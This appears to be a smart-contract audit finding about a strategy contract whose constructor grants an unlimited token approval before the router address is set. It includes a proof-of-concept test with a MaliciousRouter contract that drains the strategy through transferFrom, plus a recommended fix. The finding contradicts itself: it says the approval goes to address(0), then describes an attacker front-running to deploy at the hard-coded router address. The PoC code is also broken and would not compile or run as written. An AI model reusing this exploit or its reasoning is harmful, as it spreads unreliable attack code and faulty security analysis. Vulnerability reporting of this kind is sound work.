In the constructor, the contract approves the underlying token to the router address before _initStrategy() is called. Since the router variable is not yet initialized at this point, the approval is given to address(0).
Impact
An attacker could:
Monitor mempool for deployment of this strategy then front-run the deployment by deploying a malicious contract at address 0xa062aE8A9c5e11aaA026fc2670B0D65cCc8B2858 then use the unlimited approval to steal any underlying tokens that enter the strategy
Poc
contract Test is Test {
StrategyOp strategy;
address attacker;
ERC20 underlying;
function setUp() public {
vm.prank(attacker);
MaliciousRouter router = new MaliciousRouter();
strategy = new StrategyOp(
address(asset),
address(transmuter),
"Strategy"
);
underlying = strategy.underlying();
}
function testExploit() public {
deal(address(underlying), address(strategy), 100e18);
vm.prank(attacker);
MaliciousRouter(router).stealTokens(
address(underlying),
address(strategy),
100e18
);
assertEq(underlying.balanceOf(address(strategy)), 0);
assertEq(underlying.balanceOf(attacker), 100e18);
}
}
contract MaliciousRouter {
function stealTokens(address token, address victim, uint256 amount) external {
ERC20(token).transferFrom(victim, msg.sender, amount);
}
}
Tools Used- Manual review
Recommendations -Move the underlying.safeApprove() call after the router address is set:
constructor(
address _asset,
address _transmuter,
string memory _name
) BaseStrategy(_asset, _name) {
transmuter = ITransmuter(_transmuter);
require(transmuter.syntheticToken() == _asset, "Asset does not match transmuter synthetic token");
underlying = ERC20(transmuter.underlyingToken());
asset.safeApprove(address(transmuter), type(uint256).max);
_initStrategy();
}
function _initStrategy() internal {
router = 0xa062aE8A9c5e11aaA026fc2670B0D65cCc8B2858;
require(router != address(0), "Router not set");
underlying.safeApprove(address(router), type(uint256).max);
}